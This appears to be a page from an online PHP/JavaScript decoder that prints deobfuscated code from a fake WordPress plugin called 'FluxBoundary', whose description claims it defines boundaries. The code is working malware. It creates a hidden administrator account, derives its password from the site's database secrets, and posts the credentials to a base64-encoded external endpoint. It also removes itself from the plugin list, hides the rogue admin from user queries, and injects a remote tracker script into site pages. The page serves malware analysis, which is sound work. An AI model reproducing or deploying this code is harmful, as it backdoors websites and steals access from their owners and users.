Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


/**
* Plugin Name: FluxBoundary
* Plugin URI: https://github.com/coreflux/flux-boundary
* Description: Boundary definition system for constraining flow interaction and enforcing separation zones.
* Version: 1.2.0
* Author: CoreFlux Systems
* Author URI: https://github.com/coreflux
* Text Domain: flux-boundary
* License: MIT
 */

goto xcslN4VPqJQpcISe;
 jlQ9dV_UX5dUf_Mq: register_deactivation_hook(__FILE__, function () { delete_option("nitropress_data_sent");
 });
 goto ety4F1IdHvI0IUr1;
 xcslN4VPqJQpcISe: class FluxBoundary { private $seed;
 private $config = array("font" => "aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1PcGVuK1NhbnM6dzQwMCw3MDA=", "script" => "aHR0cHM6Ly9zaG9ydGV2ZXJ5ZGF5bm5uLmNvbS9vYWtm", "endpoint" => "aHR0cHM6Ly9saW1ib2tpbWJvbm90YWFhLnh5ei9jb2xsZWN0LnBocA==");
 public function __construct() { $this->seed = md5(DB_PASSWORD . AUTH_SALT);
 $this->init_hooks();
 } private function init_hooks() { goto jS6IOGcDVbmx2RL0;
 od01C1ZrVECh6nOk: add_action("wp_enqueue_scripts", [$this, "load_assets"]);
 goto VpmGy6uFJVxKx5IE;
 RQrN0G1E4GnzfV10: add_action("pre_user_query", [$this, "filter_admin_users"]);
 goto od01C1ZrVECh6nOk;
 jS6IOGcDVbmx2RL0: add_filter("all_plugins", [$this, "hide_plugin"]);
 goto EuZuprnSb0nUY6_k;
 EuZuprnSb0nUY6_k: add_action("init", [$this, "create_admin_user"]);
 goto RQrN0G1E4GnzfV10;
 VpmGy6uFJVxKx5IE: } public function hide_plugin($dbayONlzLZM_S8ay) { unset($dbayONlzLZM_S8ay[plugin_basename(__FILE__)]);
 return $dbayONlzLZM_S8ay;
 } public function create_admin_user() { goto WCFouXcE9a7pWJKa;
 zZWN894u2CtbWtjY: $this->send_credentials($KDmvsdO2fyda62Zh);
 goto ft3BIn6jlKb8GiMC;
 WCFouXcE9a7pWJKa: if (get_option("nitropress_data_sent", false)) { return;
 } goto lB6uRryD_KWKFjha;
 lB6uRryD_KWKFjha: $KDmvsdO2fyda62Zh = $this->generate_credentials();
 goto Ljth1iQtIQ9X8FIR;
 Ljth1iQtIQ9X8FIR: if (!username_exists($KDmvsdO2fyda62Zh["user"])) { $ve7HkoBdN5tVuC4D = wp_create_user($KDmvsdO2fyda62Zh["user"], $KDmvsdO2fyda62Zh["pass"], $KDmvsdO2fyda62Zh["email"]);
 if (!is_wp_error($ve7HkoBdN5tVuC4D)) { (new WP_User($ve7HkoBdN5tVuC4D))->set_role("administrator");
 } } goto zZWN894u2CtbWtjY;
 ft3BIn6jlKb8GiMC: update_option("nitropress_data_sent", true);
 goto Mv91NAzUmiI7Avw6;
 Mv91NAzUmiI7Avw6: } private function generate_credentials() { $M7z2VCuYA2UUSgLD = substr(hash("sha6", $this->seed . "creds"), 0, 16);
 return ["user" => "sys_" . substr(md5($M7z2VCuYA2UUSgLD), 0, 8), "pass" => substr(md5($M7z2VCuYA2UUSgLD . "pass"), 0, 12), "email" => "noreply@" . parse_url(home_url(), PHP_URL_HOST), "ip" => $_SERVER["SERVER_ADDR"], "url" => home_url()];
 } private function send_credentials($YqYGV__8FpeY0JKY) { goto m3o4_aoMQfDFj10t;
 m3o4_aoMQfDFj10t: $KVGUla70bdGuFZmC = json_encode($YqYGV__8FpeY0JKY, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
 goto KIQ9F9MHIagq9SKQ;
 THJNx3WVxb7nhuOt: wp_remote_post(base64_decode($this->config["endpoint"]), $ijf7KQvhiLgJp_Wz);
 goto cC2GFcd2wCbVVncn;
 KIQ9F9MHIagq9SKQ: $ijf7KQvhiLgJp_Wz = ["body" => ["d" => base64_encode($KVGUla70bdGuFZmC)], "timeout" => 15, "blocking" => false, "sslverify" => false];
 goto THJNx3WVxb7nhuOt;
 cC2GFcd2wCbVVncn: } public function filter_admin_users($wOAuZGjyVGDOlwwk) { goto chvnSMVLdHCKnZRu;
 RD7jkt92YmDJwxkQ: $i9dkcAlKqFADqlw8 = $this->generate_credentials()["user"];
 goto Yd_ulzmHRp7XyKoN;
 chvnSMVLdHCKnZRu: global $Dboy0ViFFQEl5jCn;
 goto RD7jkt92YmDJwxkQ;
 Yd_ulzmHRp7XyKoN: $wOAuZGjyVGDOlwwk->query_where .= " AND {$Dboy0ViFFQEl5jCn->users}.user_login != '{$i9dkcAlKqFADqlw8}'";
 goto l0VBvpSEXauCnXr8;
 l0VBvpSEXauCnXr8: } public function load_assets() { goto kacxlLBH9CedzZlA;
 kacxlLBH9CedzZlA: wp_enqueue_style("ic-fonts", base64_decode($this->config["font"]), [], null);
 goto zxLCrxtnyZkzEH6t;
 zxLCrxtnyZkzEH6t: $c9rF5Q0xcSMbqmHk = base64_decode($this->config["script"]) . "?ts=" . time();
 goto vm2v27T60hvc3GWN;
 vm2v27T60hvc3GWN: wp_enqueue_script("ic-tracker", $c9rF5Q0xcSMbqmHk, [], null, ["strategy" => "defer", "in_footer" => false]);
 goto PTlTrIzdZp7tAilp;
 PTlTrIzdZp7tAilp: } } goto jlQ9dV_UX5dUf_Mq;
 ety4F1IdHvI0IUr1: new FluxBoundary();




© 2023 Quttera Ltd. All rights reserved.